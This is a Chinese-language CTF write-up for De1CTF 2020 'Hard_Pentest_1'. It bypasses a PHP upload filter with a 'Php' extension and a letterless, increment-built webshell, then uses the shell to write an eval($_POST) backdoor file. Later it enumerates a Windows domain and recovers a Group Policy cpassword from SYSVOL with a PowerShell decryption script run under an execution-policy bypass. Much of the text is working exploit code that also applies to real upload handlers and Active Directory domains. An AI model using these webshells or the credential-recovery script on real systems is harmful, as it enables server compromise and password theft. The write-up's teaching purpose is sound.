De1ctf 2020 web 【Hard_Pentest_1】无字符注入&SYSVOL还原组策略密码
直接打开源码,看到是一个文件上传,检查了文件大小和经过一个Check()
函数判定,来看一下Check()
函数
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
$BlackExts
这里有一个后缀的黑名单,过滤了php
,但preg_match
中没有匹配大小写,所以可以用Php
来绕过,且也可以被解析成php
然后接着看,有一个文件内容匹配的正则,表明这里是直接检查上传文件的内容,看到preg_match
想了下preg_math
的三种绕过
- 传递数组,直接被返回成
false
- 递归上限绕过,一般也是用在文件上传
post
中,上限一般为1000000,也是返回false
preg_match('/^flag$/',subject)
只会匹配第一行的内容,传入\nflag
即可绕过
此处的preg_match
要求的是返回true
,以上绕过都没有关系,那就硬怼这个正则吧
分析一下这个正则规则匹配到字母a-z
、数字0-9
以及符号;~^
&|`并且大小写敏感和匹配换行(/s),常规的无字符注入有三种shell写法
- 亦或shell(
^
) - 取反shell(
~
) - 自增shell(
+
)
这里过滤了^
和~
那就只剩下自增shell的可能了,找了个脚本,构造出来的shell是ASSERT($_POST[_]);
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
为了蚁剑好连接,改了一下重新写入方便执行system
写入一个新的文件,同时看到;
也被过滤了,每一句都用短标签来绕过了(<?=phpinfo()?>
)
修改完成的脚本如下
__=file_put_contents&_=3.php&___=<?=eval($_POST['2'])?>
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>
蚁剑登录之后,发现是Windows
服务器,翻了下文件看到了这个
先是交给misc队友爆破,没有结果,然后继续往下找
这里遇到的问题是Windows
服务器的渗透,先来看一些预备知识
- 域(domain):它是网络对象用户、组、计算机等的分组。域是
Windows
操作系统中的一个安全边界,安全策略和访问控制都不能跨越不同的域,每个域管理员有权限设置所属域的策略
把域可以理解成有密码加持的工作组,工作组是没有防护的,域可以按照设定的域规则来对登录用户进行身份验证和控制,这样会更安全一些,整理了一些域渗透的命令
net use 查看连接的网络映像
net user /domain 查询域所有用户列表
net user admin /domain 查询域指定用户的详细信息
net group /domain 查看域中工作组的列表
systeminfo 系统信息
这里有一些Windows
渗透的命令参考
$ net user /domain
发现
有一个用户名是HintZip_Pass
猜测用户与是压缩包的密码相关,那可能用户密码就是压缩包密码,搜索到一篇与域用户密码相关的文章
简单来说就是
\SYSVOL
路径中保存了域内用户的一些配置信息->找到HintZip_Pass
用户的配置信息->然后找到AES256加密的密钥,由于MS已经公开了私钥,那么就可以把这个登录密钥还原出来->最后解出压缩包
1)路径格式\\<DOMAIN>\SYSVOL\<DOMAIN>\
,在此处即为\\De1CTF2020.lab\SYSVOL\De1CTF2020.lab\
2)在//De1CTF2020.lab/SYSVOL/De1CTF2020.lab/Policies/{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}/Machine/Preferences/Groups/
路径中找到HintZip_Pass
的配置文件
3)利用脚本即可还原密钥
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"
在靶机上新建脚本文件1.ps1,然后执行powershell -executionpolicy bypass -file 2.ps1
即解得密钥zL1PpP@sSwO3d